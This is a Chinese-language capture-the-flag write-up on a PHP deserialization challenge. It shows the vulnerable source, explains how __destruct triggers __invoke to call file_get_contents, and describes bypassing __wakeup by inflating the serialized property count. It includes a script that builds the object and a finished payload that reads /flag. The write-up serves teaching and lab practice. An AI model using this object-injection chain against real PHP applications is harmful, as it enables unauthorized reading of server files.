成理信安协会题目反序列化03
就如这道题在最开始面板上说的一样,你真的了解反序列化了吗?
这道题就是在看你是不是真的了解了魔术方法怎么触发,起到什么作用?
先上源码。
<?php
show_source(__FILE__);
class CDUTSEC1{
public $file;
public $function;
function __construct($file, $function)
{
$this->file = $file;
$this->function = $function;
}
function __wakeup() // Hint:听说你们喜欢绕__wakeup,但是我可听说官方在php7.0.10之后修复了这个bug
{
$this->file = __FILE__;
$this->function = 'phpversion';
}
function __invoke()
{
return file_get_contents($this->file);
}
function __toString()
{
return file_get_contents($this->file);
}
function __get($function)
{
return $this->function;
}
function __call($a, $b){
return $this->function;
}
}
class CDUTSEC2{
public $function = 'phpversion';
function __destruct()
{
echo ($this->function)(); //
}
}
@unserialize($_GET['payload']);
代码审计一下。
- 能拿flag的方式只有CDUTSEC1中__invoke和__toString两个魔术方法,触发能够执行file_get_contents($this->file)。所以只要CDUTSEC1类的file值为'/flag'(当然可能不在当前目录,视题而定)就能拿到flag了。
- 两个魔术方法的触发条件:
- __invoke:当尝试以调用函数的方式调用一个对象时触发
- __toString:一个类被当做字符串时触发。用于一个类被当成字符串时应怎样回应。例如 echo $obj;应该显示些什么。此方法必须返回一个字符串,否则会产生错误。
- 所以__toSring无法触发。审计发现,CDUTSEC2中的析构函数__destruct执行时正好把类成员function当作函数来调用,正好可以触发__invoke。所以我们可以把CDUTSEC1序列化后作为CDUTSEC2中$function的值再次序列化即可。
- 但CDUTSEC1中在触发__invoke之前因为反序列化__weakup先触发并把我们传入的$file覆盖,因此我们需要绕过__weakup。利用的漏洞也很简单,只需要把序列化字符串表示类成员数量的数字改大(大于实际数)即可绕过。本例中,改CDUTSEC2与嵌套的CDUTSEC1都可以。
上序列化脚本。
<?php
class CDUTSEC1{
public $file;
public $function;
// function __construct($file, $function)
// {
// $this->file = $file;
// $this->function = $function;
// }
// function __wakeup() // Hint:听说你们喜欢绕__wakeup,但是我可听说官方在php7.0.10之后修复了这个bug //实际上版本并没有大于。
// {
// $this->file = __FILE__;
// $this->function = 'phpversion';
// }
// function __invoke()
// {
// return file_get_contents($this->file);
// }
// function __toString()
// {
// return file_get_contents($this->file);
// }
// function __get($function)
// {
// return $this->function;
// }
// function __call($a, $b){
// return $this->function;
// }
}
class CDUTSEC2{
public $function = 'phpversion';
// function __destruct()
// {
// echo ($this->function)();
// }
}
$tr = new CDUTSEC1();
$tr->file = '/flag';
$sr = new CDUTSEC2();
$sr->function = $tr;
echo serialize($sr);
说一句,序列化脚本中类只需要定义成员,其他魔术方法直接注掉就完了,没影响,不注掉有时候还会警告和报错
跑出来是O:8:"CDUTSEC2":1:{s:8:"function";O:8:"CDUTSEC1":2:{s:4:"file";s:5:"/flag";s:8:"function";N;}},然后改大类成员数。
payload: O:8:"CDUTSEC2":1:{s:8:"function";O:8:"CDUTSEC1":3:{s:4:"file";s:5:"/flag";s:8:"function";N;}}
总结就是,你要从这道简单的反序列化题中真正了解魔术方法的触发方式,不同的触发顺序,当你真正了解之后,就发现这道题是多么基础。